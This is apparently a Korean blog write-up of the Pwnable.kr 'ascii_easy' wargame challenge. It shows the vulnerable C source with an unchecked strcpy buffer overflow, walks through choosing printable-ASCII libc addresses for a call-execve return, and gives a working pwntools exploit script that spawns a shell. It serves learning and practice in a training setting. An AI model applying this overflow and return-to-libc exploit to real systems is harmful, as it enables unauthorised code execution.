본문 바로가기

Pwnable.kr

Pwnable.kr[ascii_easy]

#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>

#define BASE ((void*)0x5555e000)

int is_ascii(int c){
    if(c>=0x20 && c<=0x7f) return 1;
    return 0;
}

void vuln(char* p){
    char buf[20];
    strcpy(buf, p);
}

void main(int argc, char* argv[]){

    if(argc!=2){
        printf("usage: ascii_easy [ascii input]\n");
        return;
    }

    size_t len_file;
    struct stat st;
    int fd = open("/home/ascii_easy/libc-2.15.so", O_RDONLY);
    if( fstat(fd,&st) < 0){
        printf("open error. tell admin!\n");
        return;
    }

    len_file = st.st_size;
    if (mmap(BASE, len_file, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0) != BASE){
        printf("mmap error!. tell admin\n");
        return;
    }

    int i;
    for(i=0; i<strlen(argv[1]); i++){
        if( !is_ascii(argv[1][i]) ){
            printf("you have non-ascii byte!\n");
            return;
        }
    }

    printf("triggering bug...\n");
    vuln(argv[1]);

}

vuln 함수에서 입력받은 argv[1]의 값을 buf에 경계값 검사없이 넘겨주면서 오버플로우가 일어난다. 

 

중간에 라이브러리를 mmap으로 BASE (0x5555e000)에다가 올려버리므로

라이브러리 안에 있는 함수들과 가젯을 이용하면 된다. 

 

is_ascii함수에서 값을 걸러내지만 메모리에 올라간 주소가 적당하므로 

0x20 ~ 0x7f 사이의 값을 사용하여 해당 값으로만 페이로드를 작성하면 된다. 

 

라이브러리 안에 있는 call execve 위치들. 

 

execve를 찾았으므로 페이로드는 간단히

dummy(32) + call execve(4) +"/bin/sh\"의 주소(4) + NULL PTR (4)*2

로 구성 가능하다. 

 

0x5555e000 + call execve 주소 해주면 메모리에서의 call execve의 주소

ex) 0x5561676a(by b876a), 0x55616802(by b8802), 0x556168c9(by b88c9) 등등

 

이 때 0x20 ~ 0x7f 사이에 들어와야 되므로 0x5561676a를 사용하기로 하자.

NULL PTR이야 메모리에서 쉽게 찾을 수 있고, 범위에 맞는 주소만 찾으면 된다. 

 

그럼 이제 "/bin/sh\"의 문자열 주소를 정확히 넘겨주는 게 문제이다. 

 

/bin/sh를 심볼릭 링크로 이어서 라이브러리 안에 있는 문자열 중 적당한 것을 골라

(나는 "rpc\"라는 문자열 사용)

그냥 해당 문자열의 주소("rpc\"의 주소)를 넣어주는 형태로 진행하였다. 

 

이런 것들을 이용해서 작성한 페이로드는 다음과 같다. 

from pwn import *

execve = p32(0x5561676a)
rpc = p32(0x556c3343)
NULL_PTR = p32(0x556a583c)

param = "A"*32
param += execve
param += rpc
param += NULL_PTR
param += NULL_PTR

p = process(['/home/ascii_easy/ascii_easy', param])

p.interactive()

 

따로 교육 듣고 보안기사 필기 준비한다고 너무 오랫동안 문제를 안 풀어서 엄청 삽질했다.

 

검색해서 풀이를 봐도 이해하는 게 오래걸렸다. 

이 외에도 다양한 풀이방법이 있더라...

 

지적 환영, 배우는 중

'Pwnable.kr' 카테고리의 다른 글

Pwnable.kr[tiny_easy]  (0) 2019.09.15
Pwnable.kr[echo1]  (0) 2019.09.14
Pwnable.kr [fsb]  (0) 2019.05.21
Pwnable.kr [horcruxes]  (0) 2019.05.17
Pwnable.kr [blukat]  (0) 2019.05.15